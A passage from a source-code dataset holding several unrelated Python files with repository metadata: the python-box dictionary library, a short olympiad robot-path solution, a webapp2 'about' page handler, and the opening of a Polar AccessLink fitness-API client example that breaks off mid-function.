'0')): return False return True if item else False def int(self, item, default=None): """ Return value of key as an int :param item: key of value to transform :param default: value to return if item does not exist :return: int of value """ try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err return int(item) def float(self, item, default=None): """ Return value of key as a float :param item: key of value to transform :param default: value to return if item does not exist :return: float of value """ try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err return float(item) def list(self, item, default=None, spliter=",", strip=True, mod=None): """ Return value of key as a list :param item: key of value to transform :param mod: function to map against list :param default: value to return if item does not exist :param spliter: character to split str on :param strip: clean the list with the `strip` :return: list of items """ try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err if strip: item = item.lstrip('[').rstrip(']') out = [x.strip() if strip else x for x in item.split(spliter)] if mod: return list(map(mod, out)) return out # loose configparser compatibility def getboolean(self, item, default=None): return self.bool(item, default) def getint(self, item, default=None): return self.int(item, default) def getfloat(self, item, default=None): return self.float(item, default) def __repr__(self): return '<ConfigBox: {0}>'.format(str(self.to_dict())) def copy(self): return ConfigBox(super(ConfigBox, self).copy()) def __copy__(self): return ConfigBox(super(ConfigBox, self).copy()) class SBox(Box): """ ShorthandBox (SBox) allows for property access of `dict` `json` and `yaml` """ _protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml', 'json', 'yaml', 'from_yaml', 'from_json', 'dict'] @property def dict(self): return self.to_dict() @property def json(self): return self.to_json() if yaml_support: @property def yaml(self): return self.to_yaml() def __repr__(self): return '<ShorthandBox: {0}>'.format(str(self.to_dict())) def copy(self): return SBox(super(SBox, self).copy()) def __copy__(self): return SBox(super(SBox, self).copy()) if wrapt_support: class BoxObject(wrapt.ObjectProxy): """ Wrapper for any Python object with a Box as __dict__. Simple Usage: import requests url = 'https://raw.githubusercontent.com/cdgriffith/Box/master/box.py' session = BoxObject(requests.Session()) session.source_code = session.get(url).text :param wrapped: Wrapped Object. :param box_class: Custom internal Box class :param args: Arguments to fill Box :param kwargs: Keyword arguments to fill Box """ def __init__(self, wrapped=None, *args, **kwargs): """Initialize Box Object with __dict__ as a Box.""" super(BoxObject, self).__init__(wrapped) box_class = kwargs.pop('box_class', Box) try: base_dict = super(BoxObject, self).__getattr__('__dict__') if args: raise TypeError('Cannot pass dictionary arguments when ' 'internal object has __dict__ attributes. ' 'Pass arguments by keyword instead.') box = box_class(base_dict, **kwargs) except AttributeError: box = box_class(*args, **kwargs) super(BoxObject, self).__setattr__('__dict__', box) def __call__(self, *args, **kwargs): """Call Method for Callable Objects.""" return self.__wrapped__(*args, **kwargs) def __getattr__(self, name): """Get Attribute from Wrapped Object or from Box.""" try: return super(BoxObject, self).__getattr__(name) except AttributeError as error: try: return self.__dict__[name] except KeyError: raise error def __setattr__(self, name, value): """Set Attribute in Wrapped Object or Box.""" if name == '__dict__': raise TypeError('cannot set __dict__') elif hasattr(self.__wrapped__, name): setattr(self.__wrapped__, name, value) else: self.__dict__[name] = value def __delattr__(self, name): """Delete Attribute in Wrapped Object or Box.""" if name == '__dict__': super(BoxObject, self).__setattr__( '__dict__', getattr(self.__wrapped__, '__dict__', {}) ) else: try: delattr(self.__wrapped__, name) except AttributeError as error: try: del self.__dict__[name] except KeyError: raise error __all__ += ['BoxObject']

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import string import sys import json import re import copy from keyword import kwlist import warnings try: from collections.abc import Iterable, Mapping, Callable except ImportError: from collections import Iterable, Mapping, Callable yaml_support = True try: import yaml except ImportError: try: import ruamel.yaml as yaml except ImportError: yaml = None yaml_support = False wrapt_support = True try: import wrapt except ImportError: wrapt = None wrapt_support = False if sys.version_info >= (3, 0): basestring = str else: from io import open __all__ = ['Box', 'ConfigBox', 'BoxList', 'SBox', 'BoxError', 'BoxKeyError'] __author__ = 'Chris Griffith' __version__ = '3.4.2' BOX_PARAMETERS = ('default_box', 'default_box_attr', 'conversion_box', 'frozen_box', 'camel_killer_box', 'box_it_up', 'box_safe_prefix', 'box_duplicates', 'ordered_box', 'box_intact_types') _first_cap_re = re.compile('(.)([A-Z][a-z]+)') _all_cap_re = re.compile('([a-z0-9])([A-Z])') class BoxError(Exception): class BoxKeyError(BoxError, KeyError, AttributeError): def _to_json(obj, filename=None, encoding="utf-8", errors="strict", **json_kwargs): json_dump = json.dumps(obj, ensure_ascii=False, **json_kwargs) if filename: with open(filename, 'w', encoding=encoding, errors=errors) as f: f.write(json_dump if sys.version_info >= (3, 0) else json_dump.decode("utf-8")) else: return json_dump def _from_json(json_string=None, filename=None, encoding="utf-8", errors="strict", multiline=False, **kwargs): if filename: with open(filename, 'r', encoding=encoding, errors=errors) as f: if multiline: data = [json.loads(line.strip(), **kwargs) for line in f if line.strip() and not line.strip().startswith("#")] else: data = json.load(f, **kwargs) elif json_string: data = json.loads(json_string, **kwargs) else: raise BoxError('from_json requires a string or filename') return data def _to_yaml(obj, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): if filename: with open(filename, 'w', encoding=encoding, errors=errors) as f: yaml.dump(obj, stream=f, default_flow_style=default_flow_style, **yaml_kwargs) else: return yaml.dump(obj, default_flow_style=default_flow_style, **yaml_kwargs) def _from_yaml(yaml_string=None, filename=None, encoding="utf-8", errors="strict", **kwargs): if filename: with open(filename, 'r', encoding=encoding, errors=errors) as f: data = yaml.load(f, **kwargs) elif yaml_string: data = yaml.load(yaml_string, **kwargs) else: raise BoxError('from_yaml requires a string or filename') return data def _safe_key(key): try: return str(key) except UnicodeEncodeError: return key.encode("utf-8", "ignore") def _safe_attr(attr, camel_killer=False, replacement_char='x'): allowed = string.ascii_letters + string.digits + '_' attr = _safe_key(attr) if camel_killer: attr = _camel_killer(attr) attr = attr.replace(' ', '_') out = '' for character in attr: out += character if character in allowed else "_" out = out.strip("_") try: int(out[0]) except (ValueError, IndexError): pass else: out = '{0}{1}'.format(replacement_char, out) if out in kwlist: out = '{0}{1}'.format(replacement_char, out) return re.sub('_+', '_', out) def _camel_killer(attr): try: attr = str(attr) except UnicodeEncodeError: attr = attr.encode("utf-8", "ignore") s1 = _first_cap_re.sub(r'\1_\2', attr) s2 = _all_cap_re.sub(r'\1_\2', s1) return re.sub('_+', '_', s2.casefold() if hasattr(s2, 'casefold') else s2.lower()) def _recursive_tuples(iterable, box_class, recreate_tuples=False, **kwargs): out_list = [] for i in iterable: if isinstance(i, dict): out_list.append(box_class(i, **kwargs)) elif isinstance(i, list) or (recreate_tuples and isinstance(i, tuple)): out_list.append(_recursive_tuples(i, box_class, recreate_tuples, **kwargs)) else: out_list.append(i) return tuple(out_list) def _conversion_checks(item, keys, box_config, check_only=False, pre_check=False): if box_config['box_duplicates'] != 'ignore': if pre_check: keys = list(keys) + [item] key_list = [(k, _safe_attr(k, camel_killer=box_config['camel_killer_box'], replacement_char=box_config['box_safe_prefix'] )) for k in keys] if len(key_list) > len(set(x[1] for x in key_list)): seen = set() dups = set() for x in key_list: if x[1] in seen: dups.add("{0}({1})".format(x[0], x[1])) seen.add(x[1]) if box_config['box_duplicates'].startswith("warn"): warnings.warn('Duplicate conversion attributes exist: ' '{0}'.format(dups)) else: raise BoxError('Duplicate conversion attributes exist: ' '{0}'.format(dups)) if check_only: return for k in keys: if item == _safe_attr(k, camel_killer=box_config['camel_killer_box'], replacement_char=box_config['box_safe_prefix']): return k def _get_box_config(cls, kwargs): return { '__converted': set(), '__box_heritage': kwargs.pop('__box_heritage', None), '__created': False, '__ordered_box_values': [], 'default_box': kwargs.pop('default_box', False), 'default_box_attr': kwargs.pop('default_box_attr', cls), 'conversion_box': kwargs.pop('conversion_box', True), 'box_safe_prefix': kwargs.pop('box_safe_prefix', 'x'), 'frozen_box': kwargs.pop('frozen_box', False), 'camel_killer_box': kwargs.pop('camel_killer_box', False), 'modify_tuples_box': kwargs.pop('modify_tuples_box', False), 'box_duplicates': kwargs.pop('box_duplicates', 'ignore'), 'ordered_box': kwargs.pop('ordered_box', False), 'box_intact_types': tuple(kwargs.pop('box_intact_types', ())), } class Box(dict): _protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml', 'from_yaml', 'from_json'] def __new__(cls, *args, **kwargs): obj = super(Box, cls).__new__(cls, *args, **kwargs) obj._box_config = _get_box_config(cls, kwargs) return obj def __init__(self, *args, **kwargs): self._box_config = _get_box_config(self.__class__, kwargs) if self._box_config['ordered_box']: self._box_config['__ordered_box_values'] = [] if (not self._box_config['conversion_box'] and self._box_config['box_duplicates'] != "ignore"): raise BoxError('box_duplicates are only for conversion_boxes') if len(args) == 1: if isinstance(args[0], basestring): raise ValueError('Cannot extrapolate Box from string') if isinstance(args[0], Mapping): for k, v in args[0].items(): if v is args[0]: v = self self[k] = v self.__add_ordered(k) elif isinstance(args[0], Iterable): for k, v in args[0]: self[k] = v self.__add_ordered(k) else: raise ValueError('First argument must be mapping or iterable') elif args: raise TypeError('Box expected at most 1 argument, ' 'got {0}'.format(len(args))) box_it = kwargs.pop('box_it_up', False) for k, v in kwargs.items(): if args and isinstance(args[0], Mapping) and v is args[0]: v = self self[k] = v self.__add_ordered(k) if (self._box_config['frozen_box'] or box_it or self._box_config['box_duplicates'] != 'ignore'): self.box_it_up() self._box_config['__created'] = True def __add_ordered(self, key): if (self._box_config['ordered_box'] and key not in self._box_config['__ordered_box_values']): self._box_config['__ordered_box_values'].append(key) def box_it_up(self): for k in self: _conversion_checks(k, self.keys(), self._box_config, check_only=True) if self[k] is not self and hasattr(self[k], 'box_it_up'): self[k].box_it_up() def __hash__(self): if self._box_config['frozen_box']: hashing = 54321 for item in self.items(): hashing ^= hash(item) return hashing raise TypeError("unhashable type: 'Box'") def __dir__(self): allowed = string.ascii_letters + string.digits + '_' kill_camel = self._box_config['camel_killer_box'] items = set(dir(dict) + ['to_dict', 'to_json', 'from_json', 'box_it_up']) for key in self.keys(): key = _safe_key(key) if (' ' not in key and key[0] not in string.digits and key not in kwlist): for letter in key: if letter not in allowed: break else: items.add(key) for key in self.keys(): key = _safe_key(key) if key not in items: if self._box_config['conversion_box']: key = _safe_attr(key, camel_killer=kill_camel, replacement_char=self._box_config[ 'box_safe_prefix']) if key: items.add(key) if kill_camel: snake_key = _camel_killer(key) if snake_key: items.remove(key) items.add(snake_key) if yaml_support: items.add('to_yaml') items.add('from_yaml') return list(items) def get(self, key, default=None): if key not in self: if default is None and self._box_config['default_box']: return self.__get_default(key) if isinstance(default, dict) and not isinstance(default, Box): return Box(default) if isinstance(default, list) and not isinstance(default, BoxList): return BoxList(default) return default return self[key] def copy(self): return Box(super(Box, self).copy()) def __copy__(self): return Box(super(Box, self).copy()) def __deepcopy__(self, memodict=None): out = self.__class__() memodict = memodict or {} memodict[id(self)] = out for k, v in self.items(): out[copy.deepcopy(k, memodict)] = copy.deepcopy(v, memodict) return out def __setstate__(self, state): self._box_config = state['_box_config'] self.__dict__.update(state) def __getitem__(self, item, _ignore_default=False): try: value = super(Box, self).__getitem__(item) except KeyError as err: if item == '_box_config': raise BoxKeyError('_box_config should only exist as an ' 'attribute and is never defaulted') if self._box_config['default_box'] and not _ignore_default: return self.__get_default(item) raise BoxKeyError(str(err)) else: return self.__convert_and_store(item, value) def keys(self): if self._box_config['ordered_box']: return self._box_config['__ordered_box_values'] return super(Box, self).keys() def values(self): return [self[x] for x in self.keys()] def items(self): return [(x, self[x]) for x in self.keys()] def __get_default(self, item): default_value = self._box_config['default_box_attr'] if default_value is self.__class__: return self.__class__(__box_heritage=(self, item), **self.__box_config()) elif isinstance(default_value, Callable): return default_value() elif hasattr(default_value, 'copy'): return default_value.copy() return default_value def __box_config(self): out = {} for k, v in self._box_config.copy().items(): if not k.startswith("__"): out[k] = v return out def __convert_and_store(self, item, value): if (item in self._box_config['__converted'] or (self._box_config['box_intact_types'] and isinstance(value, self._box_config['box_intact_types']))): return value if isinstance(value, dict) and not isinstance(value, Box): value = self.__class__(value, __box_heritage=(self, item), **self.__box_config()) self[item] = value elif isinstance(value, list) and not isinstance(value, BoxList): if self._box_config['frozen_box']: value = _recursive_tuples(value, self.__class__, recreate_tuples=self._box_config[ 'modify_tuples_box'], __box_heritage=(self, item), **self.__box_config()) else: value = BoxList(value, __box_heritage=(self, item), box_class=self.__class__, **self.__box_config()) self[item] = value elif (self._box_config['modify_tuples_box'] and isinstance(value, tuple)): value = _recursive_tuples(value, self.__class__, recreate_tuples=True, __box_heritage=(self, item), **self.__box_config()) self[item] = value self._box_config['__converted'].add(item) return value def __create_lineage(self): if (self._box_config['__box_heritage'] and self._box_config['__created']): past, item = self._box_config['__box_heritage'] if not past[item]: past[item] = self self._box_config['__box_heritage'] = None def __getattr__(self, item): try: try: value = self.__getitem__(item, _ignore_default=True) except KeyError: value = object.__getattribute__(self, item) except AttributeError as err: if item == "__getstate__": raise AttributeError(item) if item == '_box_config': raise BoxError('_box_config key must exist') kill_camel = self._box_config['camel_killer_box'] if self._box_config['conversion_box'] and item: k = _conversion_checks(item, self.keys(), self._box_config) if k: return self.__getitem__(k) if kill_camel: for k in self.keys(): if item == _camel_killer(k): return self.__getitem__(k) if self._box_config['default_box']: return self.__get_default(item) raise BoxKeyError(str(err)) else: if item == '_box_config': return value return self.__convert_and_store(item, value) def __setitem__(self, key, value): if (key != '_box_config' and self._box_config['__created'] and self._box_config['frozen_box']): raise BoxError('Box is frozen') if self._box_config['conversion_box']: _conversion_checks(key, self.keys(), self._box_config, check_only=True, pre_check=True) super(Box, self).__setitem__(key, value) self.__add_ordered(key) self.__create_lineage() def __setattr__(self, key, value): if (key != '_box_config' and self._box_config['frozen_box'] and self._box_config['__created']): raise BoxError('Box is frozen') if key in self._protected_keys: raise AttributeError("Key name '{0}' is protected".format(key)) if key == '_box_config': return object.__setattr__(self, key, value) if (key not in self.keys() and (self._box_config['conversion_box'] or self._box_config['camel_killer_box'])): if self._box_config['conversion_box']: k = _conversion_checks(key, self.keys(), self._box_config) self[key if not k else k] = value elif self._box_config['camel_killer_box']: for each_key in self: if key == _camel_killer(each_key): self[each_key] = value break else: self[key] = value self.__add_ordered(key) self.__create_lineage() def __delitem__(self, key): if self._box_config['frozen_box']: raise BoxError('Box is frozen') super(Box, self).__delitem__(key) if (self._box_config['ordered_box'] and key in self._box_config['__ordered_box_values']): self._box_config['__ordered_box_values'].remove(key) def __delattr__(self, item): if self._box_config['frozen_box']: raise BoxError('Box is frozen') if item == '_box_config': raise BoxError('"_box_config" is protected') if item in self._protected_keys: raise AttributeError("Key name '{0}' is protected".format(item)) del self[item] def pop(self, key, *args): if args: if len(args) != 1: raise BoxError('pop() takes only one optional' ' argument "default"') try: item = self[key] except KeyError: return args[0] else: del self[key] return item try: item = self[key] except KeyError: raise BoxKeyError('{0}'.format(key)) else: del self[key] return item def clear(self): self._box_config['__ordered_box_values'] = [] super(Box, self).clear() def popitem(self): try: key = next(self.__iter__()) except StopIteration: raise BoxKeyError('Empty box') return key, self.pop(key) def __repr__(self): return '<Box: {0}>'.format(str(self.to_dict())) def __str__(self): return str(self.to_dict()) def __iter__(self): for key in self.keys(): yield key def __reversed__(self): for key in reversed(list(self.keys())): yield key def to_dict(self): out_dict = dict(self) for k, v in out_dict.items(): if v is self: out_dict[k] = out_dict elif hasattr(v, 'to_dict'): out_dict[k] = v.to_dict() elif hasattr(v, 'to_list'): out_dict[k] = v.to_list() return out_dict def update(self, item=None, **kwargs): if not item: item = kwargs iter_over = item.items() if hasattr(item, 'items') else item for k, v in iter_over: if isinstance(v, dict): v = self.__class__(v) if k in self and isinstance(self[k], dict): self[k].update(v) continue if isinstance(v, list): v = BoxList(v) try: self.__setattr__(k, v) except (AttributeError, TypeError): self.__setitem__(k, v) def setdefault(self, item, default=None): if item in self: return self[item] if isinstance(default, dict): default = self.__class__(default, **self.__box_config()) if isinstance(default, list): default = BoxList(default, box_class=self.__class__, **self.__box_config()) self[item] = default return default def to_json(self, filename=None, encoding="utf-8", errors="strict", **json_kwargs): return _to_json(self.to_dict(), filename=filename, encoding=encoding, errors=errors, **json_kwargs) @classmethod def from_json(cls, json_string=None, filename=None, encoding="utf-8", errors="strict", **kwargs): bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_json(json_string, filename=filename, encoding=encoding, errors=errors, **kwargs) if not isinstance(data, dict): raise BoxError('json data not returned as a dictionary, ' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) if yaml_support: def to_yaml(self, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): return _to_yaml(self.to_dict(), filename=filename, default_flow_style=default_flow_style, encoding=encoding, errors=errors, **yaml_kwargs) @classmethod def from_yaml(cls, yaml_string=None, filename=None, encoding="utf-8", errors="strict", loader=yaml.SafeLoader, **kwargs): bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_yaml(yaml_string=yaml_string, filename=filename, encoding=encoding, errors=errors, Loader=loader, **kwargs) if not isinstance(data, dict): raise BoxError('yaml data not returned as a dictionary' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) class BoxList(list): def __init__(self, iterable=None, box_class=Box, **box_options): self.box_class = box_class self.box_options = box_options self.box_org_ref = self.box_org_ref = id(iterable) if iterable else 0 if iterable: for x in iterable: self.append(x) if box_options.get('frozen_box'): def frozen(*args, **kwargs): raise BoxError('BoxList is frozen') for method in ['append', 'extend', 'insert', 'pop', 'remove', 'reverse', 'sort']: self.__setattr__(method, frozen) def __delitem__(self, key): if self.box_options.get('frozen_box'): raise BoxError('BoxList is frozen') super(BoxList, self).__delitem__(key) def __setitem__(self, key, value): if self.box_options.get('frozen_box'): raise BoxError('BoxList is frozen') super(BoxList, self).__setitem__(key, value) def _is_intact_type(self, obj): try: if (self.box_options.get('box_intact_types') and isinstance(obj, self.box_options['box_intact_types'])): return True except AttributeError as err: if 'box_options' in self.__dict__: raise err return False def append(self, p_object): if isinstance(p_object, dict) and not self._is_intact_type(p_object): try: p_object = self.box_class(p_object, **self.box_options) except AttributeError as err: if 'box_class' in self.__dict__: raise err elif isinstance(p_object, list) and not self._is_intact_type(p_object): try: p_object = (self if id(p_object) == self.box_org_ref else BoxList(p_object)) except AttributeError as err: if 'box_org_ref' in self.__dict__: raise err super(BoxList, self).append(p_object) def extend(self, iterable): for item in iterable: self.append(item) def insert(self, index, p_object): if isinstance(p_object, dict) and not self._is_intact_type(p_object): p_object = self.box_class(p_object, **self.box_options) elif isinstance(p_object, list) and not self._is_intact_type(p_object): p_object = (self if id(p_object) == self.box_org_ref else BoxList(p_object)) super(BoxList, self).insert(index, p_object) def __repr__(self): return "<BoxList: {0}>".format(self.to_list()) def __str__(self): return str(self.to_list()) def __copy__(self): return BoxList((x for x in self), self.box_class, **self.box_options) def __deepcopy__(self, memodict=None): out = self.__class__() memodict = memodict or {} memodict[id(self)] = out for k in self: out.append(copy.deepcopy(k)) return out def __hash__(self): if self.box_options.get('frozen_box'): hashing = 98765 hashing ^= hash(tuple(self)) return hashing raise TypeError("unhashable type: 'BoxList'") def to_list(self): new_list = [] for x in self: if x is self: new_list.append(new_list) elif isinstance(x, Box): new_list.append(x.to_dict()) elif isinstance(x, BoxList): new_list.append(x.to_list()) else: new_list.append(x) return new_list def to_json(self, filename=None, encoding="utf-8", errors="strict", multiline=False, **json_kwargs): if filename and multiline: lines = [_to_json(item, filename=False, encoding=encoding, errors=errors, **json_kwargs) for item in self] with open(filename, 'w', encoding=encoding, errors=errors) as f: f.write("\n".join(lines).decode('utf-8') if sys.version_info < (3, 0) else "\n".join(lines)) else: return _to_json(self.to_list(), filename=filename, encoding=encoding, errors=errors, **json_kwargs) @classmethod def from_json(cls, json_string=None, filename=None, encoding="utf-8", errors="strict", multiline=False, **kwargs): bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_json(json_string, filename=filename, encoding=encoding, errors=errors, multiline=multiline, **kwargs) if not isinstance(data, list): raise BoxError('json data not returned as a list, ' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) if yaml_support: def to_yaml(self, filename=None, default_flow_style=False, encoding="utf-8", errors="strict", **yaml_kwargs): return _to_yaml(self.to_list(), filename=filename, default_flow_style=default_flow_style, encoding=encoding, errors=errors, **yaml_kwargs) @classmethod def from_yaml(cls, yaml_string=None, filename=None, encoding="utf-8", errors="strict", loader=yaml.SafeLoader, **kwargs): bx_args = {} for arg in kwargs.copy(): if arg in BOX_PARAMETERS: bx_args[arg] = kwargs.pop(arg) data = _from_yaml(yaml_string=yaml_string, filename=filename, encoding=encoding, errors=errors, Loader=loader, **kwargs) if not isinstance(data, list): raise BoxError('yaml data not returned as a list' 'but rather a {0}'.format(type(data).__name__)) return cls(data, **bx_args) def box_it_up(self): for v in self: if hasattr(v, 'box_it_up') and v is not self: v.box_it_up() class ConfigBox(Box): _protected_keys = dir({}) + ['to_dict', 'bool', 'int', 'float', 'list', 'getboolean', 'to_json', 'to_yaml', 'getfloat', 'getint', 'from_json', 'from_yaml'] def __getattr__(self, item): try: return super(ConfigBox, self).__getattr__(item) except AttributeError: return super(ConfigBox, self).__getattr__(item.lower()) def __dir__(self): return super(ConfigBox, self).__dir__() + ['bool', 'int', 'float', 'list', 'getboolean', 'getfloat', 'getint'] def bool(self, item, default=None): try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err if isinstance(item, (bool, int)): return bool(item) if (isinstance(item, str) and item.lower() in ('n', 'no', 'false', 'f', '0')): return False return True if item else False def int(self, item, default=None): try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err return int(item) def float(self, item, default=None): try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err return float(item) def list(self, item, default=None, spliter=",", strip=True, mod=None): try: item = self.__getattr__(item) except AttributeError as err: if default is not None: return default raise err if strip: item = item.lstrip('[').rstrip(']') out = [x.strip() if strip else x for x in item.split(spliter)] if mod: return list(map(mod, out)) return out def getboolean(self, item, default=None): return self.bool(item, default) def getint(self, item, default=None): return self.int(item, default) def getfloat(self, item, default=None): return self.float(item, default) def __repr__(self): return '<ConfigBox: {0}>'.format(str(self.to_dict())) def copy(self): return ConfigBox(super(ConfigBox, self).copy()) def __copy__(self): return ConfigBox(super(ConfigBox, self).copy()) class SBox(Box): _protected_keys = dir({}) + ['to_dict', 'tree_view', 'to_json', 'to_yaml', 'json', 'yaml', 'from_yaml', 'from_json', 'dict'] @property def dict(self): return self.to_dict() @property def json(self): return self.to_json() if yaml_support: @property def yaml(self): return self.to_yaml() def __repr__(self): return '<ShorthandBox: {0}>'.format(str(self.to_dict())) def copy(self): return SBox(super(SBox, self).copy()) def __copy__(self): return SBox(super(SBox, self).copy()) if wrapt_support: class BoxObject(wrapt.ObjectProxy): def __init__(self, wrapped=None, *args, **kwargs): super(BoxObject, self).__init__(wrapped) box_class = kwargs.pop('box_class', Box) try: base_dict = super(BoxObject, self).__getattr__('__dict__') if args: raise TypeError('Cannot pass dictionary arguments when ' 'internal object has __dict__ attributes. ' 'Pass arguments by keyword instead.') box = box_class(base_dict, **kwargs) except AttributeError: box = box_class(*args, **kwargs) super(BoxObject, self).__setattr__('__dict__', box) def __call__(self, *args, **kwargs): return self.__wrapped__(*args, **kwargs) def __getattr__(self, name): try: return super(BoxObject, self).__getattr__(name) except AttributeError as error: try: return self.__dict__[name] except KeyError: raise error def __setattr__(self, name, value): if name == '__dict__': raise TypeError('cannot set __dict__') elif hasattr(self.__wrapped__, name): setattr(self.__wrapped__, name, value) else: self.__dict__[name] = value def __delattr__(self, name): if name == '__dict__': super(BoxObject, self).__setattr__( '__dict__', getattr(self.__wrapped__, '__dict__', {}) ) else: try: delattr(self.__wrapped__, name) except AttributeError as error: try: del self.__dict__[name] except KeyError: raise error __all__ += ['BoxObject']

true

f7f364d3379a18260039767fb44820782b2c660e

512

py

Python

uts/uts_2017_sum_py/5/D.py

viad00/code_olymp

90f20f9fd075e8967d02baf7554fcf24f4ae089c

[ "MIT" ]

null

uts/uts_2017_sum_py/5/D.py

viad00/code_olymp

90f20f9fd075e8967d02baf7554fcf24f4ae089c

[ "MIT" ]

null

uts/uts_2017_sum_py/5/D.py

viad00/code_olymp

90f20f9fd075e8967d02baf7554fcf24f4ae089c

[ "MIT" ]

null

import sys sys.stdin = open('robot.in', 'r') s = input() d = 0 a = [] f = 0 c = 0 x = 0 y = 0 for i in s: if i == 'S': if (x, y) in a: print(c) exit() a.append((x, y)) c += 1 if d == 0: x += 1 if d == 1: y += 1 if d == 2: x -= 1 if d == 3: y -= 1 if i == 'L': d = (d + 1) % 4 if i == 'R': d = (d - 1) % 4 if (x, y) in a: print(c) else: print(-1)

14.628571

33

0.289063

import sys sys.stdin = open('robot.in', 'r') s = input() d = 0 a = [] f = 0 c = 0 x = 0 y = 0 for i in s: if i == 'S': if (x, y) in a: print(c) exit() a.append((x, y)) c += 1 if d == 0: x += 1 if d == 1: y += 1 if d == 2: x -= 1 if d == 3: y -= 1 if i == 'L': d = (d + 1) % 4 if i == 'R': d = (d - 1) % 4 if (x, y) in a: print(c) else: print(-1)

true

f7f364fd1081bda368c721f187a3a01029a42b3a

693

py

Python

meneame/src/web/meneapp/control/about.py

albertfdp/dtu-data-mining

62946de30c85d90c7006dfaf884a88b05d34744c

[ "Apache-2.0" ]

null

meneame/src/web/meneapp/control/about.py

albertfdp/dtu-data-mining

62946de30c85d90c7006dfaf884a88b05d34744c

[ "Apache-2.0" ]

null

meneame/src/web/meneapp/control/about.py

albertfdp/dtu-data-mining

62946de30c85d90c7006dfaf884a88b05d34744c

[ "Apache-2.0" ]

2

2016-06-08T19:54:42.000Z

2021-02-27T03:53:10.000Z

import webapp2 import jinja2 import os import hashlib JINJA_ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), '../view'))) class AboutHandler(webapp2.RequestHandler): def get(self): template_values = { 'title': 'Meneame', 'project_name': 'Meneapp', 'albert_hash': hashlib.md5('albertfdp@gmail.com').hexdigest(), 'ferdinando_hash': hashlib.md5('ferdinando.papale@gmail.com').hexdigest(), 'jose_hash': hashlib.md5('th0rg4l@gmail.com').hexdigest() } template = JINJA_ENVIRONMENT.get_template('about.html') self.response.write(template.render(template_values))

31.5

87

0.688312

import webapp2 import jinja2 import os import hashlib JINJA_ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), '../view'))) class AboutHandler(webapp2.RequestHandler): def get(self): template_values = { 'title': 'Meneame', 'project_name': 'Meneapp', 'albert_hash': hashlib.md5('albertfdp@gmail.com').hexdigest(), 'ferdinando_hash': hashlib.md5('ferdinando.papale@gmail.com').hexdigest(), 'jose_hash': hashlib.md5('th0rg4l@gmail.com').hexdigest() } template = JINJA_ENVIRONMENT.get_template('about.html') self.response.write(template.render(template_values))

false

true

f7f365b7b6c663dd018553299a070ca5152b39df

6,580

py

Python

accesslink-API/accesslink_example.py

mendelson/polar-data-analysis

04c7b8615d88e3966e8a71c4353ad23c61ff022d

[ "MIT" ]

null

accesslink-API/accesslink_example.py

mendelson/polar-data-analysis

04c7b8615d88e3966e8a71c4353ad23c61ff022d

[ "MIT" ]

null

accesslink-API/accesslink_example.py

mendelson/polar-data-analysis

04c7b8615d88e3966e8a71c4353ad23c61ff022d

[ "MIT" ]

null

#!/usr/bin/env python from __future__ import print_function import utils from accesslink import AccessLink from datetime import datetime try: input = raw_input except NameError: pass CONFIG_FILENAME = 'config.yml' class PolarAccessLinkExample(object): """Example application for Polar Open AccessLink v3.""" def __init__(self): self.config = utils.load_config(CONFIG_FILENAME) if 'access_token' not in self.config: print('Authorization is required. Run authorization.py first.') return self.accesslink = AccessLink(client_id=self.config['client_id'], client_secret=self.config['client_secret']) self.running = True self.show_menu() def show_menu(self): while self.running: print('\nChoose an option:\n' + '-----------------------\n' + ' 1 => Get data\n' + ' 2 => Revoke access token\n' + '-1 => Exit\n' + '-----------------------') self.get_menu_choice() def get_menu_choice(self): choice = input('> ') { '1': self.get_all_data, # '1': self.get_user_information, # '2': self.check_available_data, '2': self.revoke_access_token, '-1': self.exit }.get(choice, self.get_menu_choice)() def get_all_data(self): self.get_user_information() self.check_available_data() def get_user_information(self): user_info = self.accesslink.users.get_information(user_id=self.config['user_id'], access_token=self.config['access_token']) print('==========\tUSER INFORMATION\t==========') utils.pretty_print_json(user_info) utils.save_json_to_file(user_info, f'user_data/user_data_{datetime.today().strftime("%Y-%m-%d")}.json') def check_available_data(self): available_data = self.accesslink.pull_notifications.list() print('==========\tDATA\t==========') if not available_data: print('No new data available.') return print('Available data:') utils.pretty_print_json(available_data) for item in available_data['available-user-data']: if item['data-type'] == 'EXERCISE': self.get_exercises() elif item['data-type'] == 'ACTIVITY_SUMMARY': self.get_daily_activity() elif item['data-type'] == 'PHYSICAL_INFORMATION': self.get_physical_info() def revoke_access_token(self): self.accesslink.users.delete(user_id=self.config['user_id'], access_token=self.config['access_token']) del self.config['access_token'] del self.config['user_id'] utils.save_config(self.config, CONFIG_FILENAME) print('Access token was successfully revoked.') self.exit() def exit(self): self.running = False def get_exercises(self): transaction = self.accesslink.training_data.create_transaction(user_id=self.config['user_id'], access_token=self.config['access_token']) if not transaction: print('No new exercises available.') return resource_urls = transaction.list_exercises()['exercises'] for url in resource_urls: exercise_summary = transaction.get_exercise_summary(url) gpx_data = transaction.get_gpx(url) tcx_data = transaction.get_tcx(url) hr_data = transaction.get_heart_rate_zones(url) samples_data = transaction.get_available_samples(url) sample_data = transaction.get_samples(url) print('Exercise summary:') utils.pretty_print_json(exercise_summary) time = utils.polar_datetime_to_python_datetime_str(str(exercise_summary['start-time'])) utils.save_json_to_file(exercise_summary, f'exercises_data/summary_data_{time}.json') if 